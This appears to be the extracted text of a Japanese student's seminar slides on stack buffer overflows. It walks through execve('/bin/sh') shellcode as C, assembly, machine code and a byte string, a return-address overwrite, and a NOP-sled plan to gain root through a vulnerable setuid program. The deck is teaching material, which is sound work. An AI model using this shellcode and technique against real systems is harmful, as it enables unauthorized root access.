セキュリティ(3) 05A2013 大川内 斉
今回の内容 前回、説明不足な内容に終わったバッファオーバーフローについて具体的に行った 不正なプログラムの実行 偽のアドレスで書き換える test() { ・・・ } int main() char str[3]; char str2[3]; scanf(“%s”,&str); ”AAAAA・・・ test(); ・・・ 不正なプログラムの実行 偽のアドレスで書き換える main()への戻り値アドレス Str2 AAAA Str AAA バッファオーバーフロー
開発環境 knoppix(Linux)
前回の質問 1.コンパイラはバッファオーバーフローを どの程度防げるか? 2.セキュリティホールが多いOSはどれか?
コンパイラはバッファオーバーフローをどの程度防げるか? 配列領域のチェック 関数リターンアドレスの書き換え検出(オプション) コンパイラでもある程度は防止できるが、メモリ保護機能を持つOSやCPU、デバッグツールなどを用いることにより危険性は減少する
セキュリティホールが多いOSは? ・WindowsがOSの中で脆弱性の数が最も少ないが、深刻な脆弱性の数は最も多い Linux MacOS X 深刻な脆弱性の数の多い順
今回の目的 セキュリティホールがあり、setuid(ルート権限)が有効であるプログラムに対して不正な攻撃を行いルート権限を奪う
一般ユーザとルート ルート(ルートユーザ) 何の制約も受けない、システムの管理者でありすべての権限を持つ 一般ユーザ 何の制約も受けない、システムの管理者でありすべての権限を持つ 一般ユーザ ある程度、アクセスが限られており、Linuxでは通常この一般ユーザアカウントで作業する setuid 実行中のユーザーではなく、一時的に別のユーザに変更できる機能
シェル OSの機能の一つで、Linuxではコマンドにより、様々な処理ができるが、シェルはユーザからコマンドを受けてプログラムの起動や制御を行う ls、pwd、cpなどがある 今回、行う攻撃にはshというシェルスクリプトを用いる
スタック メモリの使い方を表す概念のこと push命令(データを入れる命令)を実行 push $1 → push $2 → push $ 3 スタックはアドレスの高位~低位に向かって伸びていく pop命令(データを取り出す命令)を一回実行すると・・・ → もっとも低位のアドレスからデータが取り出される ・ 最後にpushしたデータが最初にpopされることになる 03 02 01 000027 000028 000029 アドレス 02 01 000027 000028 000029 アドレス
実験例1 int main(int argc, char *argv[1]) { char *data[2]; char *exe = "/bin/sh"; data[0] = exe; data[1] = NULL; execve(data[0],data,NULL); } このプログラムを アセンブリ言語→マシン語 と変換し、不正なコードを 作成する シェルスクリプトを実行できている
アセンブリ言語とマシン語 アセンブリ言語 人間にわかりやすい形で機械語を記述する代表的な言語 マシン語(機械語) アセンブリ言語とマシン語 アセンブリ言語 人間にわかりやすい形で機械語を記述する代表的な言語 マシン語(機械語) CPUが直接理解し実行できるプログラミング言語で、どのプログラミング言語も最終的に このマシン語に翻訳され実行される
call文を実行すると、その次に実行すべきアドレス(戻りアドレス)をスタックに格納 アセンブリ言語の作成 .globl main main: jmp L2 L1: popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %al, 0x7(%esi) movl %eax, 0xc(%esi) movb $0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 L2: call L1 .string "/bin/sh" eax ebx 11 /bin/sh ecx edx 配列のアドレス NULL char *data[2]; char *exe = "/bin/sh"; data[0] = exe; data[1] = NULL; execve(data[0],data,NULL); call文を実行すると、その次に実行すべきアドレス(戻りアドレス)をスタックに格納
マシン語(機械語)の作成 08048354 <main>: 8048354: eb 18 jmp 804836e <L2> 08048356 <L1>: 8048356: 5e pop %esi 8048357: 89 76 08 mov %esi,0x8(%esi) 804835a: 31 c0 xor %eax,%eax 804835c: 88 46 07 mov %al,0x7(%esi) 804835f: 89 46 0c mov %eax,0xc(%esi) 8048362: b0 0b mov $0xb,%al 8048364: 89 f3 mov %esi,%ebx 8048366: 8d 4e 08 lea 0x8(%esi),%ecx 8048369: 8d 56 0c lea 0xc(%esi),%edx 804836c: cd 80 int $0x80 0804836e <L2>: 804836e: e8 e3 ff ff ff call 8048356 <L1>
実験例2 unsigned char code[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0" "\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int main(void) { int *radr; //int型のポインタのサイズは4バイト radr = (int *)&radr + 2; (*radr) = (int)code; return 0; } radr ret (戻りアドレス) アドレス 000024 000032
目的を明らかにすると バッファオーバーフローを起こすことにより、 ターゲットプログラムのret(戻りアドレス)を 不正なコードの先頭アドレスに上書きできれば、不正なコードを実行できる
プログラムで行っていること1 1.初めに不正プログラムのスタックポインタspを求めている(spは次にデータが格納されるアドレスを指す) ターゲットプログラムのスタック位置 不正プログラムで宣 言された変数など ret buf sp スタック
プログラムで行っていること2 3.別の領域に確保した配列(A)の全ての領域を先ほど推測したアドレス(X)で埋める 4.Aの前半分をNOP命令(no operation)で埋め、その後、不正なコード(S)を格納する 5.配列Aをターゲットプログラムに渡す (配列Aはターゲットの配列より大きい) 配列A X X X X X X 配列A N N N S X X
プログラム実行の仕組み ここでは、仮に推測したアドレスがターゲットのbuf配列のアドレスを指しているとする 先頭アドレスを指定しなくても、XがNOPを 指していれば不正なコードは実行される NOPは何も行わない命令でそのまま進み、 不正なコードが実行されることになる ターゲットプログラム のスタック N N N S X X X ここのXはターゲット プログラムのretが 入っていた場所
プログラム実行 不正なコードを実行できていることがわかる
今後の予定 攻撃法の検証と分析 不正侵入検知(IDS)
参考資料 サイト ・Wikipedia http://ja.wikipedia.org/wiki/ ・IPA(情報処理推進機構) http://www.ipa.go.jp/ ・ITpro http://itpro.nikkeibp.co.jp/ ・IT+PLUS http://it.nikkei.co.jp/ ・「アセンブリ言語の教科書」の原稿 http://ruffnex.oc.to/kenji/text/asmbook/ ・バッファオーバーフローの危険性 http://f16.aaa.livedoor.jp/~vwxyz/up/img/004.txt 書籍 ・ハッカーの教科書